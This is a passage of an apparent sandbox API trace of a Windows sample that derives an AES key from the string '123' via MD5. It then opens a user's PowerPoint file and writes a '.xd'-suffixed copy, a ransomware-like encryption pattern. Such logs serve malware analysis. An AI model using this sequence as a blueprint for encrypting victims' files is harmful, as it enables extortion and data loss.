hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.630] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.630] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.630] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.630] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.630] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0068.630] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0068.631] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0068.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0068.631] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0068.631] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f00) returned 1 [0068.631] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.631] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.631] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0068.632] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.632] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.632] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.632] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.632] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.632] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.632] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.632] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.632] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.633] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.633] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.633] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.633] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0068.634] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.634] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.634] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.634] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.634] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.634] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.634] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.634] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.634] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.634] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.634] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.634] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.634] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.634] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.634] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.634] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.634] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.634] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.634] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0068.635] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0068.635] CryptCreateHash (in: hProv=0x17a9f00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0068.635] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.635] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.635] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.635] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.635] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0068.635] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629420, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.635] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.635] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.635] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.635] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0068.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621630, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0068.635] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0068.636] CryptHashData (hHash=0x164c8b0, pbData=0x1629440, dwDataLen=0x3, dwFlags=0x1) returned 1 [0068.636] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.636] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.636] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.636] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.636] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.636] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.636] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.636] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0068.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621810, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0068.636] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0068.636] CryptDeriveKey (in: hProv=0x17a9f00, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6b0) returned 1 [0068.636] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.636] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.636] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.636] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.636] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.636] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.636] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0068.636] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0068.637] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0068.637] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0068.637] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.637] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.637] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.637] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.637] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.637] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1ll4hqt6q.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0068.637] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.637] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0068.637] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.637] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.637] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.637] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0068.638] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1ll4hqt6q.pptx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0068.798] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.798] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.798] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.798] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.800] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0068.800] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xd7b1, lpOverlapped=0x0) returned 1 [0068.803] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0068.806] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.806] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.806] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.806] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0068.807] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.807] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.807] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0068.807] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.807] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0068.807] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.807] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.808] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.808] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0068.808] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0068.808] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0068.808] CryptGetKeyParam (in: hKey=0x164c6b0, dwParam=0x7, pbData=0x16293c0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16293c0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0068.808] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.808] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.808] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.808] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.809] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.809] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.809] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.809] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.809] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.809] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.809] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.809] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.809] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.809] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.809] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.809] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 